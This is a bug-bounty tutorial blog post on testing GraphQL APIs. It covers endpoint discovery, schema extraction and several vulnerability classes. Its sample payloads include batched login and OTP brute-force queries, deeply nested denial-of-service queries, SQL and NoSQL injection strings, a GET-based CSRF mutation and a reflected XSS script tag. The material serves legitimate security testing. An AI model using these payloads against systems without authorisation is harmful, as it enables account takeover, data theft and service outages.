← Back to list

API Fuzzing for Bug Bounty — Part 3: GraphQL Security — The Complete Attack Playbook

Series Overview Part 1 — Recon, Discovery & Mapping the Attack Surface Part 2a — Breaking Authentication & Authorization Part 2b —…

Fuzzyy Duck in OSINT Team · 2026-07-15 01:58 · 51 claps · 9.9 min read paywalled
#bug-bounty #bug-bounty-tips #bug-bounty-writeup #graphql #security
Open on Medium ↗
Wiki topics: LIT · Literature & Writing

API Fuzzing for Bug Bounty — Part 3: GraphQL Security — The Complete Attack Playbook

Series Overview **Part 1 — Recon, Discovery & Mapping the Attack Surface [Part 2a](https://medium.com/the-first-digit/api-fuzzing-for-security-testing-part-2a-breaking-authentication-authorization-5a8b8a2c1a96) — Breaking Authentication & Authorization [Part 2b ](https://medium.com/the-first-digit/api-fuzzing-for-bug-bounty-part-2b-injection-bypasses-output-exploitation-facf1052e6d9)— Injection, Bypasses & Output Exploitation Part 3 (this post)** — GraphQL Security: The Complete Attack Playbook

GraphQL is everywhere now and most bug bounty hunters still treat it like a black box they’d rather skip. That’s exactly why it’s worth learning. While everyone else avoids the /graphql endpoint, you can be the one finding introspection leaks, batching-based brute force, field-level IDOR, and nested-query DoS.

This final part of the series is a complete GraphQL attack playbook. We’ll cover what makes GraphQL fundamentally different, how to find and fingerprint endpoints, how to extract the entire schema (even when introspection is “disabled”), and then every major vulnerability class with real payloads and tooling. [Free link]

Why GraphQL Is Different

REST gives you many endpoints, each returning a fixed data structure. GraphQL gives you one endpoint and lets the client decide exactly what data to request. You send a query describing the shape of the data you want, and the server returns precisely that.

# One endpoint: POST /graphql
query {
  user(id: "123") {
    name
    email
    orders {
      id
      total
    }
  }
}

This flexibility is powerful but creates a security model unlike REST:

  • There’s no per-endpoint authorization — in the traditional sense authorization has to happen at the field and object resolver level, which developers frequently get wrong.
  • The client controls query complexity — you can request deeply nested, expensive data structures the developer never anticipated.
  • The schema is self-documenting — introspection can hand you the entire API blueprint, including hidden operations.
  • Batching lets you send many operations in one HTTP request — which breaks request-count-based rate limiting.

Understanding these four properties is the key to everything that follows.

GraphQL Operation Types

There are three operation types you’ll work with:

  • Query — read data (the equivalent of REST GET)
  • Mutation — write data: create, update, delete (the equivalent of POST/PUT/DELETE)
  • Subscription — real-time data over WebSockets (less common, but worth checking)

A handy mental map of CRUD to GraphQL:

Create  →  mutation { createPost(...) { id } }
Read    →  query    { post(id: "1") { id title } }
Update  →  mutation { updatePost(...) { id } }
Delete  →  mutation { deletePost(id: "1") { success } }

Phase 1: Finding & Fingerprinting GraphQL Endpoints

Common Endpoint Locations

GraphQL doesn’t have to live at /graphql, though it usually does. Check all of these:

/graphql
/graphiql
/graphql/console
/graphql/api
/graphql/v1
/api/graphql
/api/v1/graphql
/v1/graphql
/query
/graphql.php
/index.php?graphql
/gql
/___graphql
/altair                ← Altair GraphQL client
/playground            ← GraphQL Playground
/subscriptions         ← WebSocket subscriptions

Fingerprinting with graphw00f

Different GraphQL server implementations (Apollo, Hasura, GraphQL Yoga, Graphene, etc.) have different default behaviors and known weaknesses. Fingerprinting tells you what you’re up against.

graphw00f detects the GraphQL engine in use:

python3 main.py -d -f -t https://api.target.com/graphql

Knowing the engine matters: for example, some engines have introspection enabled by default, some are vulnerable to specific DoS vectors, and Hasura exposes admin functionality through specific headers if misconfigured.

Confirming It’s GraphQL

Send a minimal query and watch the response:

query { __typename }

A GraphQL endpoint responds with:

{"data": {"__typename": "Query"}}

If you get this, you’ve confirmed GraphQL and you’re ready to start digging.

Phase 2: Introspection — Extracting the Entire Schema

Introspection is GraphQL’s built-in self-documentation feature. When enabled, a special query returns the entire schema: every type, every field, every query, every mutation, every argument, and every description. For an attacker, it’s a complete map of the API — including operations that aren’t used by the frontend and were never meant to be discovered.

The Introspection Query

The minimal version to check if introspection is on:

{
  __schema {
    queryType { name }
    mutationType { name }
    types {
      kind
      name
      description
    }
  }
}

The full introspection query (the one tools use) pulls every field, argument, type, and relationship. It’s long, but you can grab the canonical version from the GraphQL spec or let a tool send it for you.

You can also try introspection via a GET request with the query URL-encoded — sometimes POST is filtered but GET isn’t:

GET /graphql?query={__schema{queryType{name}types{name fields{name}}}}

Visualizing the Schema

Once you have the introspection result, don’t read raw JSON — visualize it. These tools turn the schema dump into an explorable graph:

  • GraphQL Voyager — interactive schema visualization; paste your introspection JSON and explore the type relationships visually
  • InQL — Burp Suite extension that parses introspection and generates ready-to-send queries for every operation
  • GraphQL Playground — interactive IDE with schema docs

The goal: find interesting operations the UI never calls. Look for mutations like deleteUser, updateUserRole, createApiKey, impersonateUser, adminQuery, or anything with admin, internal, debug, or test in the name.

When Introspection Is Disabled

Production servers increasingly disable introspection. Don’t stop here — there are several ways around it.

1. Field suggestions (“Did you mean…?”)

Many GraphQL servers, even with introspection off, return helpful error messages when you mistype a field name:

{"errors": [{"message": "Cannot query field 'usr' on type 'Query'. Did you mean 'user'?"}]}

This leaks valid field names one error at a time. Clairvoyance automates this — it reconstructs the schema purely from suggestion-based error messages:

python3 -m clairvoyance -o schema.json https://api.target.com/graphql

It feeds candidate field names from a wordlist, parses the “did you mean” responses, and rebuilds the schema blindly. This is one of the most powerful techniques in GraphQL hacking — it defeats the most common defense.

2. Try introspection at a different version or environment

The production endpoint might disable introspection while staging doesn’t:

api-staging.target.com/graphql
api-dev.target.com/graphql
/api/v1/graphql      ← v1 introspection on, v2 off

3. Check for __type even if __schema is blocked

Some servers block __schema but not __type:

{ __type(name: "User") { name fields { name type { name } } } }

Phase 3: GraphQL Vulnerability Classes

1. IDOR / BOLA in GraphQL

GraphQL IDOR works just like REST IDOR — the resolver doesn’t verify ownership of the requested object. But GraphQL adds a twist: you can request objects by ID directly, and you can also traverse relationships to reach data you shouldn’t see.

Direct object access:

query {
  user(id: "456") {       # Not your user ID
    name
    email
    privateMessages { body }
  }
}

Relationship traversal IDOR — this is GraphQL-specific and powerful. Even if user(id:) is protected, you might reach another user's data by traversing from an object you legitimately own:

query {
  myOrder(id: "my-order-123") {
    id
    processedBy {           # An admin user object
      email
      apiKeys { key }       # Leak admin credentials via relationship
    }
  }
}

Always map relationships from the schema and test whether traversing them bypasses object-level checks.

2. Batching Attacks — Bypassing Rate Limits

This is GraphQL’s signature vulnerability. Because GraphQL lets you send multiple operations in a single HTTP request, rate limiters that count HTTP requests are useless. You can attempt thousands of password guesses or OTP codes in one request.

Alias-based batching (most widely supported):

mutation {
  attempt1: login(input: {email: "victim@example.com", password: "password1"}) { success token }
  attempt2: login(input: {email: "victim@example.com", password: "password2"}) { success token }
  attempt3: login(input: {email: "victim@example.com", password: "password3"}) { success token }
  attempt4: login(input: {email: "victim@example.com", password: "password4"}) { success token }
  # ... hundreds more in one request
}

Each alias runs independently and returns its own result. One HTTP request, hundreds of login attempts — the rate limiter sees a single request.

Array-based batching (JSON array of separate operations):

[
  {"query": "mutation { login(input: {email: \"victim@example.com\", password: \"pass1\"}) { token } }"},
  {"query": "mutation { login(input: {email: \"victim@example.com\", password: \"pass2\"}) { token } }"},
  {"query": "mutation { login(input: {email: \"victim@example.com\", password: \"pass3\"}) { token } }"}
]

Use cases for batching attacks:

  • Brute-forcing login credentials
  • Brute-forcing OTP / 2FA codes (especially effective — 6-digit codes in a few batched requests)
  • Brute-forcing password reset tokens
  • Bypassing rate limits on any sensitive mutation

batchql by Assetnote automates testing for batching support and circular query DoS.

3. Denial of Service — Nested Query Attacks

GraphQL’s ability to nest queries arbitrarily deep creates a DoS vector analogous to the XML Billion Laughs attack. If two types reference each other (e.g., Post has comments, and each Comment has an author, and each author has posts...), you can build a query that forces the server to resolve an exponentially expanding data structure.

query {
  posts {
    comments {
      post {
        comments {
          post {
            comments {
              post {
                comments {
                  # ... nest 20+ levels deep
                  title
                }
              }
            }
          }
        }
      }
    }
  }
}

A single request like this can consume enormous CPU and memory, potentially taking down the server. Test this carefully on bug bounty targets — a real DoS can violate program rules. The safe approach is to demonstrate increasing response times at moderate nesting depth (5–10 levels), prove the lack of query depth limiting, and report it without actually crashing production.

Defenses you’re testing for the absence of:

  • Query depth limiting
  • Query complexity scoring / cost analysis
  • Query timeout
  • Amount/pagination limits on list fields

Field duplication DoS is a gentler variant — repeat the same expensive field many times:

query {
  a1: expensiveField
  a2: expensiveField
  a3: expensiveField
  # ... repeated hundreds of times
}

4. Injection Through GraphQL

GraphQL is just a query layer — the resolvers behind it still talk to databases, file systems, and other services. Every injection class from Part 2 applies, delivered through GraphQL arguments.

SQL / NoSQL injection in arguments:

query {
  users(filter: {username: "test' OR 1=1--"}) {
    id
    username
  }
}
# NoSQL operator injection through a JSON-typed argument
query {
  users(filter: {username: {"$ne": null}}) {
    id
  }
}

Injection in mutations:

mutation {
  createUser(input: {
    name: "test",
    email: "test@x.com' OR '1'='1"
  }) {
    id
  }
}

Test every argument exactly as you’d test a REST parameter — boolean, time-based, error-based payloads all apply. The GraphQL layer often gives a false sense of safety, so injection bugs survive here that would’ve been caught on a REST endpoint.

5. Information Disclosure via Verbose Errors

GraphQL servers are notoriously chatty in error messages. Even without introspection, you can reconstruct a great deal of the backend from errors:

  • Field suggestions reveal valid field names (the basis of Clairvoyance)
  • Type mismatch errors reveal expected types
  • Stack traces in development mode reveal file paths, library versions, and internal logic
  • Resolver errors sometimes leak raw database errors (which then confirm SQLi)

Deliberately send malformed queries and study every error:

query { user(id: 123) { thisFieldDoesNotExist } }
query { user { name } }              # Missing required arg → reveals arg requirements
query { user(id: true) { name } }    # Type mismatch → reveals expected type

6. CSRF in GraphQL

If a GraphQL endpoint accepts queries via GET, or accepts POST with Content-Type: application/x-www-form-urlencoded(instead of requiring application/json), it may be vulnerable to CSRF — an attacker's site can trigger authenticated mutations.

# If this works as a GET, it's likely CSRF-able
GET /graphql?query=mutation{deleteAccount}

Test whether state-changing mutations work without a CSRF token and with cross-origin-friendly content types.

7. XSS via GraphQL

If GraphQL query parameters are reflected into an HTML response (for example, in a GraphiQL interface or an error page rendered as HTML), classic reflected XSS is possible:

http://target.com/graphql?query=<script>alert(document.domain)</script>

This is most common on misconfigured GraphiQL/Playground interfaces left enabled in production.

Phase 4: The GraphQL Tooling Stack

Here’s the complete toolkit for GraphQL security testing:

Discovery & Fingerprinting

**graphw00fFingerprint the GraphQL engine [GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler) — Automated GraphQL endpoint discovery & testing [graphql-path-enum ](https://gitlab.com/dee-see/graphql-path-enum)— **Enumerate paths to reach a given type

Schema Extraction

**ClairvoyanceRebuild schema when introspection is disabled [GraphQL Voyager ](https://apis.guru/graphql-voyager/)— Visualize schema from introspection [InQL](https://github.com/doyensec/inql) — **Burp extension: introspection → ready queries

Attack & Audit

graphql-cop — Automated security audit (DoS, introspection, CSRF) batchql — Test batching & circular query DoS GraphQLmap — Interactive engine for exploitation & injection graphquail — Burp extension for GraphQL auditing

Helpers & References

graphql.security — Quick online introspection tester — Link AST Explorer — Parse and understand GraphQL queries — Link GraphQL Wordlist (Escape) — Wordlist for blind field discovery — Link

GraphQL Testing Methodology — Step by Step

A repeatable workflow for any GraphQL target:

  1. Locate the endpoint — check the common paths, confirm with { __typename }.
  2. Fingerprint the engine — run graphw00f to know what you’re attacking.
  3. Attempt introspection — send the introspection query (POST and GET).
  4. If introspection is off — run Clairvoyance to rebuild the schema from error suggestions; check staging and older API versions.
  5. Visualize the schema — load it into Voyager or InQL; hunt for sensitive operations (admin, delete, role, apiKey, impersonate).
  6. Map relationships — note which types reference which, for traversal IDOR and nested DoS.
  7. Test authorization — query objects by ID across two accounts; test relationship traversal IDOR.
  8. Test batching — confirm alias and array batching work; use it against login/OTP for rate limit bypass.
  9. Test injection — fire SQLi/NoSQL payloads into every argument on queries and mutations.
  10. Test DoS safely — demonstrate missing depth/complexity limits without crashing production.
  11. Study errors — collect every verbose error for information disclosure.
  12. Check CSRF & XSS — test GET-based mutations and reflected query parameters.

GraphQL Quick Reference Checklist

Discovery

  • [ ] Endpoint located and confirmed ({ __typename })
  • [ ] Engine fingerprinted (graphw00f)
  • [ ] GraphiQL / Playground exposed in production?

Schema

  • [ ] Introspection query (POST and GET)
  • [ ] __type tested if __schema blocked
  • [ ] Clairvoyance run if introspection disabled
  • [ ] Staging / older versions checked for introspection
  • [ ] Schema visualized; sensitive operations identified

Vulnerabilities

  • [ ] IDOR: direct object access by ID across two accounts
  • [ ] IDOR: relationship traversal to restricted data
  • [ ] Batching: alias-based and array-based confirmed
  • [ ] Batching: applied to login / OTP / reset token brute force
  • [ ] DoS: query depth limiting absent (demonstrated safely)
  • [ ] DoS: field duplication / circular query tested
  • [ ] Injection: SQLi / NoSQL in all query and mutation arguments
  • [ ] Information disclosure: verbose errors and field suggestions
  • [ ] CSRF: GET-based or form-encoded mutations
  • [ ] XSS: reflected query parameters in HTML responses

Series Wrap-Up

That’s the full four-part journey:

  • **Part 1** taught you to find and map the entire API attack surface — passive recon, active enumeration, and documentation discovery.
  • **Part 2a** broke authentication and authorization — JWT attacks, brute force, IDOR/BOLA, and mass assignment.
  • **Part 2b** covered injection and bypasses — SQLi, NoSQL, XXE, SSRF, command injection, and the WAF/rate-limit evasion tricks that get you through.
  • Part 3 (this post) handed you the complete GraphQL playbook.

API security is one of the highest-yield areas in bug bounty precisely because so many hunters skip it. The methodology in this series, recon thoroughly, understand the data model, test systematically, and never accept a 403as the end of the road is what separates consistent API bug finders from everyone else.

If this series helped you land a bug, I’d love to hear about it. Drop a comment, and follow the fuzzyyduck blog for more deep-dives and bug bounty methodology.

Happy hunting.


메타데이터
post_id
5d1c0a91068d
slug
api-fuzzing-for-bug-bounty-part-3-graphql-security-the-complete-attack-playbook-5d1c0a91068d
url
https://osintteam.blog/api-fuzzing-for-bug-bounty-part-3-graphql-security-the-complete-attack-playbook-5d1c0a91068d
canonical_url
https://osintteam.blog/api-fuzzing-for-bug-bounty-part-3-graphql-security-the-complete-attack-playbook-5d1c0a91068d
author_url
https://medium.com/@fuzzyyduck
status
ok
fetched_at
2026-07-16 08:03:49